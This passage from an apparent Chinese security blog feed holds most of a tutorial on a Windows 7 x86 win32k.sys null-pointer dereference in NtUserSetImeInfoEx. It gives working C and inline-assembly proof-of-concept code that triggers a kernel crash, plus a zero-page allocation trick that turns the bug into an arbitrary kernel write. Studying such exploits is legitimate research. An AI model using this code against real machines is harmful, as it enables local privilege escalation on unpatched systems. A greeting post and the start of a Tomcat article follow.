Light;">那么接下来，我们需要去调用系统服务，从而间接调用</span>NtUserSetImeInfoEx方法。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">在此之前，先来了解系统服务</span><span style="font-size:14px;">描述</span><span style="font-size:14px;"><span style="font-family:等线 Light;">表（</span>System Service </span><span style="font-size:14px;">Descriptor </span><span style="font-size:14px;">Table），在Windows系统中，</span><span style="font-size:14px;"><span style="font-family:等线 Light;">维护了两张</span>“</span><span style="font-size:14px;">系统服务</span><span style="font-size:14px;"><span style="font-family:等线 Light;">描述表</span>”，分别是</span><span style="font-size:14px;">SSDT（System Service </span><span style="font-size:14px;">Descriptor </span><span style="font-size:14px;">Table）以及SSDTShadow（System Service </span><span style="font-size:14px;">Descriptor </span><span style="font-size:14px;">Table）。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">该表可以基于系统服务编号进行索引，来定位内核函数内存地址，以供系统或程序进行调用。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">Q：SSDT跟SSDTshadow有什么区别？</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">A：前者涵盖的是有关ntoskrnel.exe、ntdll.dll的内核函数，后者则包含了ntoskrnel.exe以及win32k.sys、gdi.dll、user.dll中包含的内核函数。我们打开PCHunter，查看一下两张表即一目了然。以下分别是SSDT以及SSDTshadow</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p><img class="rich_pages" data-ratio="0.6456483126110124" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1126" src="https://wechat2rss.xlab.app/img-proxy/?k=6bbd2429&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUqUQNurNicN2ibiaRylIhU0Mx8miaTNyn7IiaHO5lOgsLYj0K6S5tSoChwzEg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages" data-ratio="0.6400351185250219" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1139" src="https://wechat2rss.xlab.app/img-proxy/?k=5fbe56e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUqu3NnqzwXwwnpDqySF7ouOvtfibicxF7dyrxAwOJc2Xu6kh61QX209W5A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">这次我们先来了解</span>SSDTShadow(System Service Descriptor Table Shadow)影子系统服务描述表</span><span style="font-size:14px;">，</span><span style="font-size:14px;"><span style="font-family:等线 Light;">该表主要用于处理</span>user32.dll、GDI32.dll中所调用的方法，主要在win32k.sys中实现，也就是本次存在漏洞的组件</span><span style="font-size:14px;">。</span></p><p><span style="font-size:14px;"> </span></p><p><span style="font-size:14px;"><span style="font-family:等线 Light;">    以下是</span>SSDT的结构</span><span style="font-size:14px;"><span style="font-family:等线 Light;">（</span>SSDT跟SSDTShadow结构一致）：</span></p><p><span style="font-size:14px;"> </span></p><p><span style="font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> _<span class="code-snippet__title">SERVICE_DESCRIPTOR_TABLE</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    PULONG ServiceTableBase;<span class="code-snippet__comment">// 指向函数地址的指针，每个成员占4字节</span></span></code><code><span class="code-snippet_outer">    PULONG ServiceCounterTableBase;<span class="code-snippet__comment">// 当前系统服务表被调用的次数</span></span></code><code><span class="code-snippet_outer">    ULONG  NumberOfService;<span class="code-snippet__comment">// 服务函数的数量</span></span></code><code><span class="code-snippet_outer">    PUCHAR ParamTableBase;<span class="code-snippet__comment">// 服务函数的参数总长度，以字节为单位，每个成员占一个字节</span></span></code><code><span class="code-snippet_outer">} SSDTEntry, *PSSDTEntry;</span></code></pre></section><p><span style="font-size:14px;"> </span></p><p><span style="font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7720670391061453" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1790" src="https://wechat2rss.xlab.app/img-proxy/?k=48d92f5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUqFQzMRWM0oRTDrE0ktMOCwKJmXhwEIMV0gyH4M3JV0kTO9TXLRepOKA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:14px;"></span><br/></p><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">在</span>ServiceTableBase中，记录了第一个</span><span style="font-size:14px;">内核</span><span style="font-size:14px;"><span style="font-family:等线 Light;">方法的内存地址，而该内存地址指向了不同的内核函数，其中，通过地址的偏移，我们可以遍历得到</span>SSDT所记录的所有内核函数的内存地址（仅包含用户模式最常用的内核函数，并</span><span style="font-size:14px;">非囊括</span><span style="font-size:14px;">全部内核函数）</span></p><p><span style="font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-size:14px;">回归正题，</span><span style="font-size:14px;"><span style="font-family:等线 Light;">我们在</span>Win7 x86的环境下打开PChunter，点击内核钩子-ShadowSSDT，通过翻找可以查阅到我们所需调用的NtUserSetImeInfoEX的编号为550</span><span style="font-size:14px;">。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4697601668404588" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1918" src="https://wechat2rss.xlab.app/img-proxy/?k=7c606148&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUqlkicOVuk9mJUxo0V0sdvZnOmZ5ibMkPKdL94Vxhv5QXhOR9cxXZ4SSrQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 14px;"> </span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">在每个</span>Windows系统版本中，为了保持系统稳定可用，</span><span style="font-size:14px;">内核函数在</span><span style="font-size:14px;">系统服务</span><span style="font-size:14px;">描述</span><span style="font-size:14px;">表的排列</span><span style="font-size:14px;">顺序</span><span style="font-size:14px;"><span style="font-family:等线 Light;">都是不变的，我们在</span>Win7 x86的环境下打开PChunter，点击内核钩子-ShadowSSDT，通过翻找可以查阅到我们所需调用的NtUserSetImeInfoEX的编号为550</span><span style="font-size:14px;"><span style="font-family:等线 Light;">。而</span>550就是该内核方法的调用号。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><br/></span></p><p style="text-indent: 28px;"><span style="font-size:14px;">WindowsNT基本的系统</span><span style="font-size:14px;">native</span><span style="font-size:14px;">调用有两百多个，</span><span style="font-size:14px;">而</span><span style="font-size:14px;"><span style="font-family:等线 Light;">记录在</span>SSDT中</span><span style="font-size:14px;">的内核函数</span><span style="font-size:14px;"><span style="font-family:等线 Light;">，编号都小于</span>0x1000，编号大于0x1000的系统调用号是微软扩展出来的。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">而</span><span style="font-size:14px;">扩展出来的系统调用号</span><span style="font-size:14px;">用</span><span style="font-size:14px;"><span style="font-family:等线 Light;">于动态安装的模块</span>win32k.sys</span><span style="font-size:14px;">，记录在</span><span style="font-size:14px;">SSDTShadow，由于我们需调用的NTUserSetImeInfoEx</span><span style="font-size:14px;"><span style="font-family:等线 Light;">属于</span>win32k.sys，是扩展出来的系统调用号，</span><span style="font-size:14px;"><span style="font-family:等线 Light;">因此将</span>550转化为16进制为0x0226后，还需要添加0x1000的起始偏移，因此NtUserSetImeInfoE</span><span style="font-size:14px;">方法的内存地址</span><span style="font-size:14px;"><span style="font-family:等线 Light;">偏移量为</span>0x1226。</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-size:14px;"><span style="font-family:等线 Light;">想要进一步了解系统服务调用和</span>SSDT、SSDTShadow之间的过程和联系，可以查阅</span><span style="font-size:14px;">：</span><span style="font-size:14px;"><a href="https://blog.csdn.net/qq_41988448/article/details/102994374" target="_blank">https://blog.csdn.net/qq_41988448/article/details/102994374</a></span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><br/></span></p><h6 style="text-autospace:ideograph-numeric;"><strong><span style="font-size: 16px;">（四）系统调用</span></strong></h6><p style="text-indent: 28px;"><span style="font-size:14px;">想要通过系统</span><span style="font-size:14px;">服务</span><span style="font-size:14px;">调用号来调用系统服务，我们需要通过快速</span><span style="font-size:14px;">系统</span><span style="font-size:14px;"><span style="font-family:等线 Light;">调用的方式进行调用，也就是</span>KiFastSystemCall，而每个Windows版本</span><span style="font-size:14px;">中</span><span style="font-size:14px;">，快速</span><span style="font-size:14px;">系统</span><span style="font-size:14px;"><span style="font-family:等线 Light;">调用函数的内存地址是固定不变的，记录在</span>UserSharedData!SystemCallSutb当中，</span><span style="font-size:14px;"><span style="font-family:等线 Light;">而在</span>Win7 x86中，系统快速调用函数的</span><span style="font-size:14px;">内存地址为</span><span style="font-size:14px;">“</span><span style="font-size:14px;">0x7ffe0300</span><span style="font-size:14px;">”</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-size:14px;">Q：什么是系统调用？</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">A：系统调用，顾名思义，说的是操作系统提供给用户程序调用的一组“特殊”接口。用户程序可以通过这组“特殊”接口来获得操作系统内核提供的服务。从逻辑上来说，系统调用可被看成是一个内核与用户空间程序交互的接口——它好比一个中间人，把用户进程的请求传达给内核，待内核把请求处理完毕后再将处理结果送回给用户空间</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-size:14px;">Q：快速系统调用跟系统调用是什么关系？</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">A：快速系统调用是系统调用的一种。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-size:14px;">Q：为何要通过系统调用方法来进行调用？</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">A：无论何时用户态线程调用系统服务，线程都将突然被允许运行特权操作系统代码。这对于操作系统来说是很不友好的。用户态线程可能破坏系统的数据结构或在内存中移动一些内容，对系统和用户产生巨大破坏。正因为如此，处理器通常提供一条只用于系统服务的特殊指令，而这条指令就是系统调用。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><br/></span></p><h6 style="text-autospace:ideograph-numeric;"><strong><span style="font-size: 16px;"><span style="font-family:等线 Light;">（五）编写</span>poc</span></strong></h6><p style="text-indent: 28px;text-align: left;"><span style="font-size:14px;"><span style="font-family:等线 Light;">打开</span>Visual Studio，使用汇编语言编写调用NtSetUserImeInfoEx方法，其中</span><span style="font-size:14px;">“</span><span style="font-size:14px;">0x1226</span><span style="font-size:14px;">”</span><span style="font-size:14px;">为</span><span style="font-size:14px;">NtUserSetImeInfoEx方法的地址</span><span style="font-size:14px;">偏移，</span><span style="font-size:14px;">“</span><span style="font-size:14px;">0x7ffe0300</span><span style="font-size:14px;">”</span><span style="font-size:14px;"><span style="font-family:等线 Light;">为内存地址固定的</span>UserSharedData!SystemCallSutb，快速</span><span style="font-size:14px;">系统</span><span style="font-size:14px;">调用函数的地址</span><span style="font-size:14px;">，下面汇编语义就是将调用号作为快速系统调用的参数，由快速系统调用函数查找调用号对应的内核函数，并进行调用。</span></p><p><span style="font-size:14px;"> </span></p><p><span style="font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__meta">__declspec(naked)</span> <span class="code-snippet__string">void NtSetUserImeInfoEx(char* arg1)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">__asm</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">mov</span> <span class="code-snippet__string">eax, 0x1226;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">mov</span> <span class="code-snippet__string">edx, 0x7ffe0300;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">call</span> <span class="code-snippet__string">dword ptr[edx];</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">ret</span> <span class="code-snippet__string">0x04</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code></pre></section><p style="text-indent: 28px;"><span style="font-size:14px;">__declspec(naked)是用来告诉编译器函数代码的汇编语言为自己的所写，不需要编译器添加任何汇编代码，通俗说可生成纯汇编。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><br/></span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">官方解释：</span>For functions declared with the naked attribute, the compiler generates code without prolog and epilog code. You can use this feature to write your own prolog/epilog code sequences using inline assembler code. Naked functions are particularly useful in writing virtual device drivers. Note that the naked attribute is only valid on x86, and is not available on x64 or Itanium.(混合汇编编写代码仅支持生成x86应用)</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span></p><p style="text-indent: 28px;"><span style="font-size:14px;">整合起来为：</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;windows.h&gt;</span></span></span></code><code><span class="code-snippet_outer">__declspec(naked) <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">NtSetUserImeInfoEx</span><span class="code-snippet__params">(<span class="code-snippet__keyword">char</span>* arg1)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">   __asm</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      mov eax, <span class="code-snippet__number">0x1226</span>;</span></code><code><span class="code-snippet_outer">      mov edx, <span class="code-snippet__number">0x7ffe0300</span>;</span></code><code><span class="code-snippet_outer">      call dword ptr[edx];</span></code><code><span class="code-snippet_outer">      ret <span class="code-snippet__number">0x04</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">int</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">   HWINSTA hStation = CreateWindowStation(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, READ_CONTROL, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  SetProcessWindowStation(hStation);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span> ime[<span class="code-snippet__number">0x800</span>];</span></code><code><span class="code-snippet_outer">  NtSetUserImeInfoEx(ime);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code></pre></section><p style="text-indent: 28px;"><span style="font-size:14px;"></span><br/></p><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">编译成</span>exe拿到Win7 x86虚拟机中执行，由于</span><span style="font-size:14px;">调用系统服务</span><span style="font-size:14px;">时产生了模式切换，进入了内核态，在内核态中，对空指针进行操作，进而触发了蓝屏。而在用户模式下对空指针进行操作，只会返回程序错误。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">蓝屏触发，说明触发了空指针引用，定位到漏洞点。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.75" data-s="300,640" style="height: auto !important;" data-type="png" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=f52332c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUqUibDW6RCsPvgPYgOzL6LoF48WUCat2R4VfgkDm54DZDodQOOI0sIzrw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><h6 style="text-autospace:ideograph-numeric;"><strong><span style="font-size: 16px;">（六）零页内存以及空指针赋值分区</span></strong></h6><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">在《</span>Windows核心编程》关于内存结构的章节中指出</span><span style="font-size:14px;">：</span><span style="font-size:14px;">Windows系统存在空指针赋值分区，其范围从0x00000000至0x0000FFFF，由于这部分内存位于地址空间的最开始，因此也称之为零页内存，这段内存空间是空闲的，没有相应的物理存储器与之对应，因此对于这段空间而言，任何的读写操作都会造成异常。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">在内核态会</span><span style="font-size:14px;">触发</span><span style="font-size:14px;">蓝屏，在用户态会</span><span style="font-size:14px;">触发</span><span style="font-size:14px;"><span style="font-family:等线 Light;">程序错误。由于一个内存地址存储空间为</span>1字节，由0x0000FFFF为65536此处为64kB。</span></p><p><span style="font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-size:14px;">Q：</span><span style="font-size:14px;">是否空指针分区或者零页内存就无法使用呢？</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">A：</span><span style="font-size:14px;"><span style="font-family:等线 Light;">非也，通过调用</span>ntdll.dll的NtAllocateVirtualMemory函数，通过特殊的小技巧，可以在零页内存分配内存空间，使得NULL指针可读，不会报错。</span></p><p style="text-indent: 28px;"><br/></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span></p><p style="margin-left: 28px;text-indent: 28px;"><span style="font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 定义NtAllocateVirtualMemory函数结构</span></span></code><code><span class="code-snippet_outer">typedef NTSTATUS(__stdcall *MyNtAllocate)(</span></code><code><span class="code-snippet_outer">  HANDLE    ProcessHandle,</span></code><code><span class="code-snippet_outer">  PVOID* BaseAddress,</span></code><code><span class="code-snippet_outer">  ULONG_PTR ZeroBits,</span></code><code><span class="code-snippet_outer">  PSIZE_T   RegionSize,</span></code><code><span class="code-snippet_outer">  ULONG     AllocationType,</span></code><code><span class="code-snippet_outer">  ULONG     Protect</span></code><code><span class="code-snippet_outer">);</span></code><code><span class="code-snippet_outer">MyNtAllocate <span class="code-snippet__function"><span class="code-snippet__keyword">fun</span>;</span></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">PVOID baseAddr = (PVOID)<span class="code-snippet__number">0x100</span>; <span class="code-snippet__comment">//以0x100作为起始地址</span></span></code><code><span class="code-snippet_outer">DWORD size = <span class="code-snippet__number">0x1000</span>; <span class="code-snippet__comment">// 分配页面大小为4KB</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">fun</span> = <span class="code-snippet__params">(MyNtAllocate)</span></span>GetProcAddress(GetModuleHandleA(<span class="code-snippet__string">&#34;ntdll.dll&#34;</span>), <span class="code-snippet__string">&#34;NtAllocateVirtualMemory&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (<span class="code-snippet__function"><span class="code-snippet__keyword">fun</span> == NULL)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  printf(<span class="code-snippet__string">&#34;[-] fail to GetAddress&#34;</span>);</span></code><code><span class="code-snippet_outer">  exit(-<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__title">fun</span><span class="code-snippet__params">(GetCurrentProcess()</span></span>, &amp;baseAddr, <span class="code-snippet__number">0</span>, &amp;size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);<span class="code-snippet__comment">//分配内存空间</span></span></code></pre></section><p><span style="font-size:14px;"></span></p><p style="text-indent: 28px;"><br/></p><p style="text-indent: 28px;"><span style="font-size:14px;">对于</span><span style="font-size:14px;">Windows系统，在进程的虚拟空间申请一块内存时，该块内存默认为64KB大小对齐（分配内存的起始地址必须为64KB的整数倍），因此，当我们设置分配内存的起始地址为0x00000100时，系统会强制决定起始地址为0x00000000，由于我们分配页面大小选择4KB，因此分配得到的内存空间为0x00000000~0x00001FFF。</span></p><p><span style="font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-size:14px;">当完成内存空间分配后，</span><span style="font-size:14px;">原本的空指针赋值分区可读可写，所有当</span><span style="font-size:14px;"><span style="font-family:等线 Light;">再次调用</span>SetImeInfoEX方法</span><span style="font-size:14px;">时</span><span style="font-size:14px;">，便不再会</span><span style="font-size:14px;">触发蓝屏（蓝屏是因为对于零页内存的任意读写都会报错）</span><span style="font-size:14px;">。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.502112676056338" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1420" src="https://wechat2rss.xlab.app/img-proxy/?k=00922c7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUqicLVZJGwJ1iapcDVMxYrL0ktrbsRSoLYtibtf6bk49kHoTiaqOheIOxu0w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;"><span style="font-size:14px;"> </span><span style="font-size: 14px;text-indent: 28px;"> </span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">至此，我们通过在用户态</span>R3的程序中通过分配</span><span style="font-size:14px;">内存空间，</span><span style="font-size:14px;">设置内存数据，</span><span style="font-size:14px;">最终</span><span style="font-size:14px;"><span style="font-family:等线 Light;">控制</span>SetImeInfoEx函数中v3的取值</span><span style="font-size:14px;">，</span><span style="font-size:14px;">进而</span><span style="font-size:14px;">可以</span><span style="font-size:14px;"><span style="font-family:等线 Light;">控制其随后在</span>21行调用的qmemcpy(v4, a2, 0x15Cu);，达到任意地址写入的目的。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><br/></span></p><h5 style="text-autospace:ideograph-numeric;"><strong><span style="font-size: 19px;">三、后续</span></strong></h5><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">结合本次内容，下一篇将结合</span>BitMap技术，将任意地址写入，转化任意地址读写。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 28px;"><span style="font-size:14px;"></span><br/></p><p style="text-align: left;"><span style="color:#36292f;font-family:黑体;"><span style="font-size: 15px;letter-spacing: 0.544px;"></span></span><strong style="color: rgb(54, 41, 47);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></strong></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5994962216624685" data-s="300,640" style="" data-type="jpeg" data-w="1191" src="https://wechat2rss.xlab.app/img-proxy/?k=1a450b17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3Gzfj3DqN0ic3CHfJiask8nk16qTutjXgwhevDnVQFO3exJkwRc3W7HJ83CfAlkA049b7XNdwVeWPcmQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p>



<p><a href="2247484002">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6df4a866&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NDE4MTI2MQ%3D%3D%26mid%3D2247484002%26idx%3D1%26sn%3D2d779e66126017998ed14eeb1b831694%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 08 Jun 2021 12:40:00 +0800</pubDate>
    </item>
    <item>
      <title>二零二一年祝愿各位师傅平安顺遂，新年快乐🎆！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&amp;mid=2247483973&amp;idx=1&amp;sn=4e4923404b53238b17f8c8dffb94939c</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2021-02-11 19:45</span> <span style="display: inline-block;"></span>
</p>

<p></p>




<div id="js_top_profile" class="profile_area_hide"><div id="follow_placeholder" aria-hidden="true" class="wx_follow_context wx_follow_primary wx_follow_smart wx_follow_top "><div class="wx_follow_media weui-flex weui-flex_align-center "><div class="wx_follow_hd "><img src="http://mmbiz.qpic.cn/mmbiz_png/1oVoayJic3GyZo4RlUJH3rGUFhB5xzZqFH0yzJ192bxLoYUpwntxC4DbChPFLLA5lPBTgfQEnZCkJs19rxd413Q/300?wx_fmt=png" class="wx_follow_avatar "/></div> <div class="wx_follow_bd weui-flex__item "><div class="wx_follow_info "><div class="wx_follow_nickname ">鲸落的杂货铺</div></div></div></div></div></div> <div class="share_notice js_share_notice_dom  "><!----> </div>   <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <!----> <div role="option" class="rich_media_meta_list "><div class="rich_media_meta_area_primary "><!----> <span id="content_read_num" class="rich_media_meta rich_media_meta_text rich_media_meta_empty_hide "></span> </div> <div class="rich_media_meta_area_extra "><span id="publish_time" class="rich_media_meta rich_media_meta_text "></span>  <span id="js_ip_wording_wrp" class="rich_media_meta rich_media_meta_text " style="display:none;"><span id="js_ip_wording"></span></span></div></div>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=253ca027&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NDE4MTI2MQ%3D%3D%26mid%3D2247483973%26idx%3D1%26sn%3D4e4923404b53238b17f8c8dffb94939c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 11 Feb 2021 19:45:00 +0800</pubDate>
    </item>
    <item>
      <title>Tomcat容器攻防笔记之URI解析特性分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&amp;mid=2247483972&amp;idx=1&amp;sn=fda0f4ff198fcbec1428e016c5a0d628</link>
      <description>年年岁岁应如是</description>
      <content:encoded><![CDATA[<p>
原创 <span>鲸落</span> <span>2021-02-08 13:00</span> <span style="display: inline-block;"></span>
</p>

<p>年年岁岁应如是</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=27bc223f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GzgUOCIQKD9mxktxSq2Rchj9cHibqFb7Ghq6Kjiac0GR94m0DWboUic4XIkOU5tAL2uaUGZ1HjGxM01w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><span style="letter-spacing: 1px;"><strong style="text-align: center;text-indent: 34px;white-space: normal;font-size: 15px;"><span style="font-family: 黑体;">欢迎光临鲸落的杂货铺</span></strong><strong style="text-align: center;text-indent: 34px;white-space: normal;font-size: 15px;"><span style="font-family: 黑体;"><img data-ratio="1" style="display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=6b9b21f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1BibhCxcSH5y2628QmvqnWb0soxI7mRmItc4VzJ1hmNibEMypKw30Nc4g%2F640%3Fwx_fmt%3Dpng"/></span></strong></span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="17" data-source-title="https://www.anquanke.com/post/id/230238"><section class="js_blockquote_digest"><p><span style="letter-spacing: normal;">原文首发于安全客 - 安全资讯平台</span></p></section><section 